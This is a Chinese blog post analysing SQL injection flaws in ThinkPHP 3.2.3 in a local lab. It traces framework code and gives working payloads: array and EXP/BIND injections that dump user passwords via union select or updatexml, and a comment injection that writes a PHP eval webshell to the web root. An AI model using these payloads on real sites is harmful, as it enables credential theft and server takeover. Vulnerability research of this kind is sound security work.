首页 > 数据库 >Thinkphp3.2.3 SQL注入总结

Thinkphp3.2.3 SQL注入总结

时间:2022-12-21 14:14:05浏览次数:71  
标签:总结 username 方法 Thinkphp3.2 options SQL where id select

下载:ThinkPHP3.2.3完整版 - ThinkPHP框架

配置

ThinkPHP/Conf/convention.php配置下数据库,我这里直接用的sqllabs的数据库

wKg0C2N7Ye2AWn6sAAA1hJKPnk324.png

写个查询入口Application/Home/Controller/IndexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        highlight_file(__FILE__);
        $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }
}

用的是sqllabs的users表

wKg0C2N7YfiAQdGtAAB5fIFgnUg148.png

thinkphp3内置了很多大写函数

A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
I 获取系统输⼊变(与tp5input方法类似)
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法

常规注入

既然审计SQL注入漏洞了,那常规的注入方式1' or 1=1#肯定是不行的了,但具体为什么不行这里简单的分析下

id若是int类型的,会经过intval()处理,最后1' or 1=1#就变成了1,看下大体流程

首先是进入D方法但D方法就是实例化⾃定义模型类,没啥东西,就直接调到I方法了,I方法前边也是一些常规操作,跟一边就能看懂很容易理解,直接看下边的取值部分

wKg0C2N7YkKAMK37AAA3VFNNNfc706.png

经过前边的一系列操作后,$input的值就是我们传入的1' or 1=1#$name就是id,$filters取得是默认值htmlspecialchars,之后就进入了下边的一些没影响的if判断和操作

进到这里,判断$data是否为数组(很明显不是),所以$data的值就是htmlspecialchars(1' or 1=1#),`htmlspecialchars不会处理单引号所以经过此次过滤后,其实$data的值并没变

wKg0C2N7YlGAOTUbAACcrExXKqI847.png

最后经过一系列判断retrun \$data;

retrun给了find方法,还是跳过没影响的部分,\$options的值就是retrun $data;后来又经过746这行加了个limit

wKg0C2N7Yl6AAgtuAACgvz1Ij3I227.png

直接进入_parseOptions()

前边通过$options['table'] = $this->getTableName();,获取了表名users,之后就进入了_parseType()方法

wKg0C2N7YnOAUXaJAAAnm9BJKbM790.png

跟进后先看下执行到683行的值\$data[\$key]=\$data[id]=1' or 1=1#

wKg0C2N7Yn2AWT6KAAC4OGEEWUM617.png

之后经过了if判断,由于id定义的是int型,所以这里直接就执行intval了,id的值就变成了1,所以这里无法闭合也就结束了

wKg0C2N7YoaAaYkAAACydAKrM682.png

int型不行后我又改成了varchar类型(修改时需要关闭AUTO_INCREMENT选项)

接着上边的分析,在经过_parseType()方法后,下边又执行了select()

wKg0C2N7YpSABNZRAACsJIkUeSM278.png

在经过944行的parseBind后,id的值仍为1' or 1=1#,但经过945后,值发生转义了,所以跟进一下buildSelectSql()方法

跟进parseSql()

wKg0C2N7YquAT9OWAACnY8vmUTY425.png

我们的值在where里所以直接跟进parseWhere这一条

wKg0C2N7YrKAUk1nAADVv0gD8JI251.png

parseWhere中会执行parseWhereItem,之后又会执行parseValue

wKg0C2N7YriAGIT3AAClusk4StE751.png

进入第一个if会执行\$this->escapeString(\$value) : '\''.\$this->escapeString(\$value).'\'';

escapeString对单引号进行转义,所以这里varchar型也就失败了

public function escapeString($str) {
    return addslashes($str);
}

数组绕过

传入?id[where]=1

I方法前边都一样,在最后retrun的前一步由于本次传入的是数组,所以进入了think_filter方法

wKg0C2N7YsiAUYb1AAAb5NqYyc523.png

但其实也没啥东西只对开头部分做检测,根本不需要绕过

function think_filter(&$value){
   // TODO 其他安全过滤

   // 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}

之后就还是进入_parseOptions(),再次看_parseType()这部分,注意options的值,前后对比:

之前:

wKg0C2N7YuqAdso3AACgvz1Ij3I557.png

现在:

wKg0C2N7YwOABVzlAACsTgIJytc975.png

很明显where不是数组了,所以在经过第一条if检测时就不满足is_array($options['where'])了,所以这里就绕过了_parseType(),从而就绕开了int型中提到的intval转换

if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {

之后就是解决第二个问题——varchar类型中的escapeString()转义。前边的select()->buildSelectSql()->parseSql()就不说了跟之前都一样,直接看parseWhere()这里

protected function parseWhere($where) {
    $whereStr = '';
    if(is_string($where)) {
        // 直接使用字符串条件
        $whereStr = $where;
    }else{ // 使用数组表达式

之前是由于where是数组进入了else再执行一步步操作后,执行到了escapeString(),但这里where变成了字符串所以直接就走if里的语句了,执行后就直接retrun返回了

wKg0C2N7YwAcyZuAAAe8lSgk0459.png

在执行完parseSql()后,看下returun返回值SELECT * FROMusersWHERE 1 LIMIT 1

wKg0C2N7YxmAc7gUAAAfd4f86kc822.png

之后就返回到select中被query成功执行了

wKg0C2N7YyOACHAACo4kFclVE685.png

payload

?id[where]=0 union select 1,group_concat(username,0x2a,password),3 from users#
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)#

wKg0C2N7YyuALirLAACTKzZ9CY873.png

EXP注入

改下controller

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        highlight_file(__FILE__);
        $User = D('Users');
        $map = array('username' => $_GET['username']);
        // $map = array('username' => I('username'));
        $user = $User->where($map)->find();
        var_dump($user);
    }
}

先贴payload:

?username[0]=exp&username[1]==-1 union select 1,2,3

exp注入这里用到的是where、而之前数组注入时用的是I方法,原因在于若执行I方法,会执行到think_filter对exp开头的数据进行过滤,而从payload也可以看出这里是以exp开头的,所以这里选用了where方法

先看where方法,这里直接跳到最后(因为前边的if判断都没有执行),这里通过值也能看出,其实就是我们GET传参的内容

wKg0C2N7YzuAU9GBAACd0cQwsI893.png

之后的操作就一样了,到find()方法,执行_parseOptions(),然后就到了下边这里,通过foreach将$options['where']的值给$val再通过is_scalar($val)进行标量( integer、float、string 或 boolean)判断,很明显$val是数组不是标量,所以直接绕过了_parseType(),也就绕开了intval转换

wKg0C2N7Y1eATu4yAAC457KiAE782.png

之后又一样了,select()->buildSelectSql()->parseSql()->parseWhere(),再执行parseWhereItem(),正则部分为false,所以直接跳到了下方的elseif,对$whereStr赋值,此时$key=username $var[1]="=-1 union select 1,2,3",所以最终的$whereStr=username=-1 union select 1,2,3

wKg0C2N7Y3GACdbsAAC611T9yo449.png

最终就是return 一步步返回 成功执行sql语句

wKg0C2N7Y3qAAPgPAACpW3IshwA900.png

SELECT * FROM `users` WHERE `username` =-1 union select 1,2,3 LIMIT 1  

payload

http://127.0.0.1/thinkphp/tp3.2.3/?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

BIND注入

还是先写controller

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        highlight_file(__FILE__);
        $User = M("Users");
        $user['id'] = I('id');
        $data['password'] = I('password');
        $value = $User->where($user)->save($data);
        var_dump($value);
    }
}

先执行where(),跟之前一样

wKg0C2N7Y5uAGoXbAAChKAXh5Nc299.png

之后就是save()方法,416又看到了我们熟悉的方法_parseOptions,还是跟之前一样将$options$this->$options合并给\$options这里就不看了

wKg0C2N7Y6WAUoH9AACaYSFJtns249.png

继续向下执行进入451行的update()方法,主要是这几个方法一个个看一下。

wKg0C2N7Y7GAFGVfAADHWJ4M6M4352.png

跟进parseSet()

wKg0C2N7Y8ATxStAAC4Dx3L10Q272.png

跟进bindParam(),$value就是之前传入的$password的值——1,执行结束后bind[:0]=1

protected function bindParam($name,$value){
    $this->bind[':'.$name]  =   $value;
}

再跟进parseWhere()->parseWhereItem(),这里跟exp注入是一样的,主要区别在于elseif这里,之前$exp=exp,这里$exp=bind,最后拼接后的\$whereStr值在下边

wKg0C2N7Y2AFnVQAACsSK2BsZc506.png

结束后进入execute

wKg0C2N7ZAOACYLGAADDuqwW1yw899.png

先看处的闭包

array_map

function add2($value) {
    return $value + 2;
}

$arr = array(1, 2, 3, 4, 5);

$result = array_map(add2, $arr);

print_r($result);

结果

Array
(
    [0] => 3
    [1] => 4
    [2] => 5
    [3] => 6
    [4] => 7
)

所以这里就是对$this->bind()执行闭包中的操作,bind的值为1,所以就相当于$val=1执行了function($val) use($that){ return '\''.$that->escapeString($val).'\''; },而1执行escapeString()后,返回结果还是1最后再加上前后的单引号就变成了 '1'

bind[:0]=1变为bind[:0]='1'

strtr

wKg0C2N7ZBeAYVXvAAAhsSnak6g779.png

所以源代码中的strtr部分经过array_map,就可以理解为这种形式

strtr($this->queryStr,":0"=>"1");

执行后将$this->queryStr中的:0替换成了1,这也就是payload中是0而不是其它值的原因

替换后的\$this->queryStr

UPDATE `users` SET `password`='1' WHERE `id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)

最后就成功执行了

comment

先看下comment的用法,用于在生成的SQL语句中添加注释内容,例如:

$this->comment('查询考试前十名分数')
->field('username,score')
->limit(10)
->order('score desc')
->select();

最终生成的SQL语句是:

SELECT username,score FROM think_score ORDER BY score desc LIMIT 10 /* 查询考试前十名分数 */

跟之前的基本一样。

控制器

<?php
namespace Home\Controller;
use Think\Controller;

class IndexController extends Controller{
    public function index($id=''){
        highlight_file(__FILE__);
        $user = M('Users')->comment($id)->find(intval($id));
        var_dump($user);
    }
}

payload

?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*

M方法已经很熟悉了不跟进了,直接看comment(),没啥东西一个赋值

wKg0C2N7Z4aAb5efAACoww9RNs506.png

find(),前边的判断赋值语句之前看了很多遍了,不看了吧,直接跟进_parseOptions()

wKg0C2N7Z5CAXihiAACnKdttdzg946.png

上边代码主要是插入了这几条数据,之后return \$options;

再跟进select()

943行对$model赋值,944行对\$bind赋值

wKg0C2N7Z5AcU1ZAAC2Fry2D88518.png

跟进buildSelectSql

$options中没有page参数,所以没进if,跟进**parseSql,注意\$this->selectSql是传入的payload

wKg0C2N7Z6mAHPHEAACwF0jhZmQ574.png

由于使用的是comment()方法,所以直接跟进parseComment()

wKg0C2N7Z7KAUsc9AAClyaBmSyQ696.png

$comment是传入的payload,并将前后的/**/进行了闭合,最后就retrun了构造的sql语句,最后通过select()方法中的query()执行语句

总结

看似几个链子很长,其实都是常规注入流程的一种bypass扩展。

参考

ThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法 - 谦信君 - 博客园 (cnblogs.com)

标签:总结,username,方法,Thinkphp3.2,options,SQL,where,id,select
From: https://www.cnblogs.com/SecIN/p/16996108.html

相关文章

  • mysql-表碎片清理和表空间收缩
    根据****热计费项目生产环境上,ibd文件异常大,借机梳理表碎片清理和表空间收缩的知识点 1、碎片清理的好处 降低访问表时的IO,提高mysql性能,释放表空间降低磁盘空间使用......
  • 大数据-总结列表
    大数据总结---------------------------------------------------------------------------------------------------------------------------------------------------......
  • 软件工程总结
    总结软件工程更像是一门设计思想的课程,更多地是探讨进行什么设计、如何设计、如何维护、如何规划开发周期,这对于一个Project来说是十分重要的。最后开发的SJTU物品交换软......
  • 基于Springboot+Mybatis+mysql+element-vue高校就业管理系统
    @目录一、系统介绍二、功能展示1.用户登陆注册2.个人信息(学生端)3.查看企业岗位信息(学生端)4.我的应聘(学生端)5.学生信息管理(辅导员)6.三方协议书审核(辅导员)7.查看班级就业......
  • C# SQLServer数据库连接并执行类
    SQLHelper.cs usingSystem;usingSystem.Collections.Generic;usingSystem.Configuration;usingSystem.Data;usingSystem.Data.SqlClient;usingSystem.Linq;......
  • 基于Java springboot+mybatis+mysql实现的校园新闻系统
    @目录一、系统介绍二、功能展示1.主页2.登录以及注册3.普通用户对新闻咨询的编辑、发布和删除4.管理员对新闻的审核发布和撤销取消发布三、代码展示四、获取源码一、系统......
  • MySQL统计某个数据库中有多少张表
    在一些命令行下无法查看某个数据库一共有多少张表的时候,可以采用下面的SQL语句SQL语句SELECTcount(*)TABLES,table_schemaFROMinformation_schema.TA......
  • MySQL 索引的创建、删除
    MySQL中索引的创建有三种方法,索引的删除有两种方法。一、创建索引(1)使用createindex#1.创建普通索引createindex索引名on表名(列名[(限制索引长度)]);#2.创建......
  • mysql 查询重复/删除重复的记录[多字段]
    #####查询重复数据SELECTt.*FROMlike_usert,(SELECTuser_id,COUNT(user_id),dynamc_id,COUNT(dynamc_id)FROMlike_userGROUPBYuser_id,dynamc_idHA......
  • MySQL 删除数据 批量删除(大量)数据
    在删除数据的时候根据不同的场景使用不同的方法,比如说删除表中部分数据、删除表的结构、删除所有记录并重置自增ID、批量删除大量数据等,可以使用delete、truncate、drop等......